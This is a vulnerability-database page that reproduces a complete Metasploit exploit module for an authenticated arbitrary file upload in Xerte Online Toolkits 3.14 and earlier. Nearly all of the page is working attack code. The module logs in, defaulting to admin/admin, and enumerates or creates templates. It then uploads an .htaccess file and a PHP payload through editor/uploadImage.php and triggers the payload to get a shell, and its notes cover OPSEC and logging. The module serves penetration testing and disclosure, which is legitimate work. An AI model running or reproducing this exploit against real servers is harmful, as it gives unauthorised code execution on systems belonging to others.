Lucene search
+L

Xerte Online Toolkits Arbitrary File Upload - Upload Image

🗓️ 13 Feb 2026 18:59:17Reported by Brandon LesterType 
metasploit
 metasploit
🔗 www.rapid7.com👁 276 Views

Exploit Xerte image upload to code execution via editor/uploadImage.php with database authentication.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Upload Image',
        'Description' => %q{
          This module exploits the user template file import function's unrestricted
          file upload in versions 3.14 and earlier to upload and execute a shell.
          This targets editor/uploadImage.php.
          This has only been tested in implementations where the authentication type is "Db".

          OPSEC
          - if the user is logged in elsewhere, they may experience interruptions
          - several requests sent to the server and activity is logged
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Lester'
        ],
        'References' => [
          ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
          ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'PHP', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DisclosureDate' => '2025-08-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']),
        OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ])
      ]
    )
  end

  def login
    print_status('Attempting to authenticate...')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/'),
      'method' => 'POST',
      'vars_post' => {
        'login' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      },
      'keep_cookies' => true
    )

    unless (res&.code == 200 || (res&.code == 302 && res.headers['Location'] == 'management.php')) && res.get_cookies.include?('PHPSESSID')
      fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
    end
    print_good('Authentication successful.')
  end

  def check
    print_status('Performing check')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
    })
    if res&.code == 200
      if res.body.include?('No valid language definition found in the file!')
        return Exploit::CheckCode::Vulnerable('Successfully verified authenticated file upload RCE vulnerability')
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def trigger_payload
    print_good("Triggering shell at #{@web_path}")
    # using for loop with the range
    shell_uri = @web_path.gsub(/.*#{target_uri.path}/, '') # gsub(/\.*${target_uri.path()}\/, "")
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, shell_uri, 'media', php_filename)
    })
  end

  def upload_payload(my_payload, filename)
    # construct the payload and upload
    mime = Rex::MIME::Message.new
    mime.add_part(my_payload, 'image/png', nil,
                  %(form-data; name="upload"; filename=#{filename}))

    # web path will contain the full address, like `http://127.0.0.1:8180/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` so trim it
    mime.add_part(@media_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadPath"')
    mime.add_part(@web_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadURL"')

    # mediapath should be something like `/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/`
    register_file_for_cleanup("#{@media_path}#{php_filename}")
    register_file_for_cleanup("#{@media_path}.htaccess")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/editor/uploadImage.php'),
      'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{mime.bound}" },
      'data' => mime.to_s
    )
    if res && res.code.to_i == 200 && res.body.include?('Something went wrong while trying to uplod file!')
      fail_with(Failure::UnexpectedReply, 'payload was not uploaded.')
    end
  end

  def delete_lockfile(template_id)
    # The previous step made a get request to the template, effectively locking it.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'edithtml.php'),
      'vars_get' => {
        'template_id' => template_id.to_s
      },
      'vars_post' => {
        'lockfile_clear' => 'delete_lockfile'
      }

    })
    html = res.get_html_document
    vprint_status("Deleted lockfile for #{template_id}")
    variable_block = html.at('[text()*="mediavariable="]').text
    parse_template(variable_block)
  end

  def parse_template(template)
    # extract important variables from the template
    vprint_status('Parsing template')
    template.each_line do |line|
      if line && line.include?('mediavariable=')
        @media_path = line.split('"')[1]
      elsif line && line.include?('rlourlvariable')
        @web_path = line.split('"')[1]
      elsif line && line.include?('template_id')
        @template_id = line.split('"')[1]
      elsif line && line.include?('path = "')
        line = line.strip
        @template_path = line.split('"')[1]
      end
    end
    vprint_status("Found media: #{@media_path}") unless @media_path.blank?
    vprint_status("Found web path: #{@web_path}") unless @web_path.blank?
    vprint_status("Found template: #{@template_id}") unless @template_id.blank?
  end

  def find_valid_template
    # Iterates template ID's 1-20 to see if any exist and if the user has access.
    found_template = false
    for template_id in 1..20 do
      vprint_line("Checking template ID #{template_id}")
      res = send_request_cgi({ # this causes the template to become locked
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/edithtml.php'),
        'vars_get' => {
          'template_id' => template_id.to_s
        }
      })
      if res&.code == 200
        if res.body.to_s.include?('This project is currently locked as it is already being edited by you!')
          delete_lockfile(template_id)
          found_template = true
          print_status("Found mediavariable at #{template_id}")
          break
        elsif res.body.to_s.include?('Invalid template_id (could not find in DB)')
          vprint_line("Template #{template_id} doesn't exist")
        elsif res.body.to_s.include?('Permission denied')
          vprint_line("Template #{template_id} belongs to someone else")
        else
          vprint_line("Template ID #{template_id} is not locked")
          delete_lockfile(template_id)
          found_template = true
          print_status("Found mediavariable at #{template_id}")
          break
        end
      else
        print_bad("Error with template #{template_id}")
      end
    end

    unless found_template
      # If no projects are found, create one
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'templates', 'new_template.php'),
        'vars_post' => {
          'tutorialid' => 'Nottingham',
          'templatename' => 'Nottingham',
          'tutorialname' => Rex::Text.rand_text_alpha(8),
          'folder_id' => ''
        }
      })

      if res&.code == 200 && !res.body.to_s.include?('FAILED-Failed to create new template record')
        # Ensure the project was created
        template_id = res.body.to_s.split(',')[0]
        print_status("Created template (id: #{template_id})")
        delete_lockfile(template_id)
        found_template = true
      end
    end
    # If for some reason, the previous project creation failed, it's probably best to create one manually.
    fail_with(Failure::NotFound, 'User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.') unless found_template
  end

  def exploit
    login
    find_valid_template
    # this exploit won't work unless a .htaccess file is also uploaded
    upload_payload(htaccess_payload, '.htaccess')
    upload_payload(payload.encoded, php_filename)
    print_status('Uploaded the PHP Payload file')
    trigger_payload
  end

  def php_filename
    @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
  end

  def htaccess_payload
    <<~PAYLOAD
      <IfModule mod_rewrite.c>
          RewriteEngine Off
      </IfModule>
    PAYLOAD
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation